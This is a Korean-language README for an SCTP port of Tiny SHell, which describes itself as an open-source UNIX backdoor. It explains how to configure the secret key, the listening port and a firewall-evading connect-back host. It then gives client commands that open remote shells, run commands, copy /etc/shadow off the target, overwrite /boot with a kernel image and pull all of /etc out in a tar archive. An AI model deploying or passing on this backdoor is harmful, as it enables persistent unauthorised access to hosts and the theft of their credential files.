
TinySHell SCTP 포팅
Tiny SHell - 오픈소스 UNIX 백도어
* Tiny SHell 컴파일 전
1. 우선, tsh.h에 있는 비밀 키를 설정해야 합니다.
키는 어떤 길이든 가능합니다(더 나은 보안을 위해
최소 12자 이상 사용할 것).
2. 서버가 수신 연결을 기다릴 포트인 SERVER_PORT를
변경하는 것이 좋습니다.
3. 방화벽이 있는 시스템에서 실행되는 경우 "connect-back"
모드로 tshd를 시작하는 것이 좋습니다. tsh.h에서
CONNECT_BACK_HOST의 주석을 해제하고 수정하기만 하면 됩니다.
* Tiny SHell 컴파일
"make <system>"을 실행하세요. <system>은 다음 중
하나일 수 있습니다: linux, freebsd, openbsd, netbsd, cygwin, sunos, irix, hpux, osf
* 서버 사용 방법
서버를 시작하기 전에 $HOME과 파일 생성 마스크를
설정하는 것이 유용할 수 있습니다:
% umask 077; HOME=/var/tmp ./tshd
* 클라이언트 사용 방법
tshd가 원격 호스트에서 실행 중인지 확인하세요. 다음을
할 수 있습니다:
- 셸 시작:
./tsh <hostname>
- 명령 실행:
./tsh <hostname> "uname -a"
- 파일 전송:
./tsh <hostname> get /etc/shadow .
./tsh <hostname> put vmlinuz /boot
참고: 서버가 connect-back 모드로 실행 중이면 원격
머신의 호스트 이름을 "cb"로 대체하세요.
* 여러 파일 전송에 관하여
현재 Tiny SHell은 scp와 같은 다중 및/또는 재귀 파일
전송을 지원하지 않습니다. tar 아카이브를 만들어 전송하면
이 문제를 해결할 수 있습니다. 예:
./tsh host "stty raw; tar -cf - /etc 2>/dev/null" | tar -xvf -
* 터미널 모드에 관하여
일부 멍청한 시스템(실제로는 IRIX와 HP-UX)에서는
Ctrl-C 및 기타 제어 키가 제대로 작동하지 않습니다.
다음과 같이 해결하세요:
% stty intr "^C" erase "^H" eof "^D" susp "^Z" kill "^U"
* 보안에 관하여
비밀 키가 tsh 및 tshd 실행 파일 내부에 평문으로
저장된다는 점을 기억하세요. 따라서 이 두 파일에 대해
귀하 외에는 아무도 읽기 권한을 갖지 못하도록 해야 합니다.
그러나 클라이언트에는 실제(유효한) 키를 저장하지 않도록
선택할 수 있습니다. 이 경우 클라이언트는 시작 시
비밀번호를 묻게 됩니다.
* SCTP 버전 관련 참고 사항:
지금까지 Archlinux에서만 테스트되었으며, 다른 시스템에서는
엉망으로 실패할 것으로 예상하세요.
상당히 지저분한 핵(hack)이며, 언젠가 추적하여 수정할
계획인 컴파일 오류가 몇 가지 있습니다.
백도어 파일(tsh)의 보안 - 즉, 비밀번호가 평문으로 저장되는
문제는 해시된 비밀번호만 저장하는 방식으로 곧 수정될 예정입니다.
hpux, *bsd 등의 시스템에 접근할 수 있게 되면 테스트할 예정입니다.